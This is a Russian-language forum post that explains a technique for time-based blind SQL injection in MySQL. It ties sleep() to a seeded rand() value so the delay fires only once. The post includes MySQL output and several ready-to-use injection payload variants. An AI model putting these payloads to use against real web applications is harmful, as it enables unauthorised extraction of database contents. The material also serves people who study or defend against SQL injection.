Показать сообщение отдельно
Старый 17.02.2014, 16:30   #26
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Как известно, основная проблема эксплуатации Time-based SQL Injection заключается в осуществлении однократного исполнения функции sleep() для получения приемлемой задержки в 1-2 секунды, но никак не в 100000. Часто при проверке параметров, при подборе условий ограничений можно повесить сервер.

Эту проблему можно решить, если использовать rand(). rand() имеет свойство хранить информацию там, где невозможно использовать переменные и бажные функции (insert), привязав её к тому месту, где она вызывается.

Код:
mysql> SELECT rand(3)a, (SELECT rand(3) UNION SELECT user from mysql.user LIMIT 1)b FROM mysql.user LIMIT 3;
+---------------------+---------------------+
| a                   | b                   |
+---------------------+---------------------+
| 0.9057697559760601  | 0.9057697559760601  |
| 0.37307905813034536 | 0.37307905813034536 |
| 0.14808605345719125 | 0.14808605345719125 |
+---------------------+---------------------+

mysql> SELECT user FROM mysql.user WHERE password = '1'^if(rand(3)=0.9057697559760601,sleep(1),1)^'2';
Empty set, 6 warnings (1.00 sec)

SELECT CASE WHEN rand(1)in(0.40540353712197724) THEN sleep(1) END;
SELECT (rand(1)in(0.40540353712197724))in(0,sleep(1));
SELECT ((rand(3)rlike(0.9057697559760601))and(sleep(1)));
...

Последний раз редактировалось NameSpace; 01.03.2014 в 16:13..
NameSpace вне форума   Ответить с цитированием